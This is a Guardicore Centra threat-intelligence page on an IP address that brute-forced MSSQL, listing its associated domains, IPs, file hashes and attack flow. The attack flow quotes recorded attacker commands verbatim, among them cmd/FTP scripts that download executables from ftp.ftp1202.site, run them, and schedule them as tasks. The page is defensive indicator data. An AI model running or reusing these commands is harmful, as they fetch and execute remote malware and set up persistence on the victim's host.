IP Address: 120.202.46.181Malicious

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IP Address:
120.202.46.181​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

IDS - Attempted User Privilege Gain Scheduled Task Creation Outgoing Connection Service Start Drop MsSql Table CMD MSSQL PowerShell System File Modification DNS Query Download and Execute Successful MSSQL Login Access Suspicious Domain File Operation By CMD MSSQL Null Session Login MSSQL Brute Force Listening Executable File Modification Service Configuration Create MsSql Procedure

Associated Attack Servers

activation-v2.sls.microsoft.com yancy.pw dns.msftncsi.com blog.sina.com.cn js.mys2016.info www.cyg2016.xyz zoape.com gamesoxalic.com js.1226bye.pw hinet.net down.1226bye.pw www.msftncsi.com down.mys2016.info js.1226bye.xyz js.mykings.top

60.250.76.51 218.30.115.123 173.247.239.186 223.25.247.152 27.255.79.151 199.168.100.74 0.0.0.0 167.88.180.175 66.117.6.174 23.236.69.114

Basic Information

IP Address

120.202.46.181

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2017-06-07

Last seen in Guardicore Centra

2020-07-24

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL procedures were created: sp_addextendedproc

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

Executable file C:\Program Files\Microsoft SQL Server\110\Shared\SqlWtsn.exe was modified

Executable File Modification

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175, 173.247.239.186:8186, 199.168.100.74:8074 and 223.25.247.152:8152

Outgoing Connection

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw and zoape.com

Access Suspicious Domain Outgoing Connection

Service msiserver was started

Service Start

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

Service WdiSystemHost was started

Service Start

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\syswow64\schtasks.exe generated outgoing network traffic to: 23.236.69.114:8114

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

Access Suspicious Domain DNS Query

Connection was closed due to timeout

Associated Files

C:\Windows\System\cabs.exe

SHA256: 1e8017816a5b74cf68467f8c8d588713c61b1e7d22b1b5794ac751953d2cd35b

184936 bytes

C:\Windows\debug\item.dat

SHA256: e6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b

1217024 bytes

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IP Address: 120.202.46.181​Malicious